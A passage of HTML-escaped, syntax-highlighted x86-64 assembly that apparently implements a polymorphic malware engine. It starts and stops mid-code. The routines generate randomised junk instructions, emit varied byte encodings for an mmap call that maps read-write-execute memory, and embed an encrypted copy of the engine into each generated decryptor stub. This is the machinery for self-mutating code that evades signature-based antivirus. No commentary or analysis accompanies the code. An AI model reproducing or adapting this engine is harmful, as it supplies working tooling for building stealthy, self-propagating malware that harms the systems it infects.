    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;bf_boo&lt;/span&gt;                                 &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;jae&lt;/span&gt; &lt;span class="nv"&gt;.stub_flow&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_stub_mmap&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_decrypt&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;

    &lt;span class="c1"&gt;; update size after junk&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="c1"&gt;; check space for encrypted engine&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.stub_flow&lt;/span&gt;

    &lt;span class="c1"&gt;; embed encrypted engine&lt;/span&gt;
    &lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_embed&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;movsb&lt;/span&gt;

&lt;span class="nl"&gt;.skip_embed:&lt;/span&gt;
    &lt;span class="c1"&gt;; final size calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.stub_flow:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate stub junk&lt;/span&gt;
&lt;span class="nl"&gt;stub_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; 0-7 junk instructions&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.no_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.trash_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                                  &lt;span class="c1"&gt;; choose junk type&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_nop&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_push_pop&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_xor_self&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_mov_reg&lt;/span&gt;

&lt;span class="nl"&gt;.gen_nop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_push_pop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;                                &lt;span class="c1"&gt;; push rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;                                &lt;span class="c1"&gt;; pop rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_xor_self:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;                                &lt;span class="c1"&gt;; xor rax,rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.next_garbage&lt;/span&gt;

&lt;span class="nl"&gt;.gen_mov_reg:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;                                &lt;span class="c1"&gt;; rex.w&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;                                &lt;span class="c1"&gt;; mov rax,rax&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.next_garbage:&lt;/span&gt;
    &lt;span class="nf"&gt;loop&lt;/span&gt; &lt;span class="nv"&gt;.trash_loop&lt;/span&gt;

&lt;span class="nl"&gt;.no_garbage:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate mmap syscall stub&lt;/span&gt;
&lt;span class="nl"&gt;gen_stub_mmap:&lt;/span&gt;
    &lt;span class="c1"&gt;; mmap setup&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                                  &lt;span class="c1"&gt;; choose method&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mmap_method_3&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rax, 9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;                                  &lt;span class="c1"&gt;; mmap syscall&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor rax,rax; add rax,9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x83&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_2:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rax,10; dec rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.mm_continue&lt;/span&gt;

&lt;span class="nl"&gt;.mmap_method_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rax,18; shr rax,1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.mm_continue:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;stub_trash&lt;/span&gt;

    &lt;span class="c1"&gt;; rdi setup&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.rdi_method_0&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdi,0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.rdi_done&lt;/span&gt;

&lt;span class="nl"&gt;.rdi_method_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor rdi,rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.rdi_done:&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rsi,4096&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC6&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdx,7 (rwx)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r10,0x22 (private|anon)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r8,-1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x49&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
